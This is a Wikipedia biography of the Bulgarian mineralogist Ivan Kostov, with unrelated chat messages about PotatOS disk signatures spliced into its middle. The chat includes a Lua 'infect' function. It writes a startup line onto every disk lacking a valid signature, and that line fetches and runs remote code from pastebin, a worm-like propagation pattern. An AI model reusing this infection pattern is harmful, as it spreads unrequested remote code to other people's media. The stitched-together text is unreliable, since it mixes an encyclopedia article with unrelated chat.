Ivan Kostov Nikolov

Ivan Kostov Nikolov (Bulgarian: Иван Костов Николов) (December 24, 1913 (O.S.) in Plovdiv, Bulgaria – March 31, 2004 in Sofia, Bulgaria) was a Bulgarian geologist, mineralogist and crystallographer.[1][2][3]

Ivan Kostov
Born24 December 1913 (1913-12-24) O.S.
Died31 March 2004 (2004-04-01) (aged 90)
Sofia, Republic of Bulgaria
NationalityBulgarian
Alma materSofia University "St. Kliment Ohridski"; Royal School of Mines, London Imperial College
Known forKostov's Classification of Minerals
Scientific career
Fieldsmineralogy; geology, X-ray crystallography
InstitutionsSofia University "St. Kliment Ohridski", London Imperial College, Bulgarian Academy of Sciences, National Museum of Natural History (Bulgaria)

Honors and recognitions [4]

Selected publications

  • Kostov, Ivan; Kostov, Ruslan I. (1999). Crystal Habits of Minerals. Sofia: Academic Publishing House "Marin Drinov". OCLC 488807766.
  • Kostov, Ivan (1968). Embrey, Peter G.; Phemister, James (eds.). Mineralogy; author's translations. Edinburgh & London: Oliver & Boyd. OCLC 42358.
gollark: The signatures are programatically generated from the contents of the file and my private key. PotatOS has the *public* key, so it can verify that the signature was generated from the corresponding private key.
gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?

References

  1. Bonev, Ivan K. (2004), "In Memoriam Academician Ivan Kostov (1913-2004)", Mineral. Mag., 68 (4): 709–711; via http://www.geology.bas.bg
  2. "In Memoriam: Ivan Kostov (24.12.1913-31.03.2004)" (PDF), Geologica Balcanica, 34 (3–4): 111–112, 2004, retrieved 3 May 2018
  3. Kostov, Ivan Nikolov (1979) in the Great Soviet Encyclopedia, 3rd Edition (1970-1979). © 2010 The Gale Group, Retrieved April 16, 2012.
  4. Костов, Руслан; Братанова, Фани (2013). Живот, посветен на науката, Академик Иван Костов, Планетарна импресия. Sofia: Prof. Marin Drinov Academic Publishing House.
  5. Terziev G. (1966), "Kostovite, A Gold-Copper Telluride from Bulgaria" (PDF), American Mineralogist, 51: 29–36, retrieved May 3, 2018
  6. Breskovski St. (1977), "Genres nouveaux du Crétacé inférieur de la famille Desmoceratidae Zittel, 1895 (Ammonoidea)", C.R. Acad. Bulg. Sci., 30 (10): 1463–1465

See also

This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.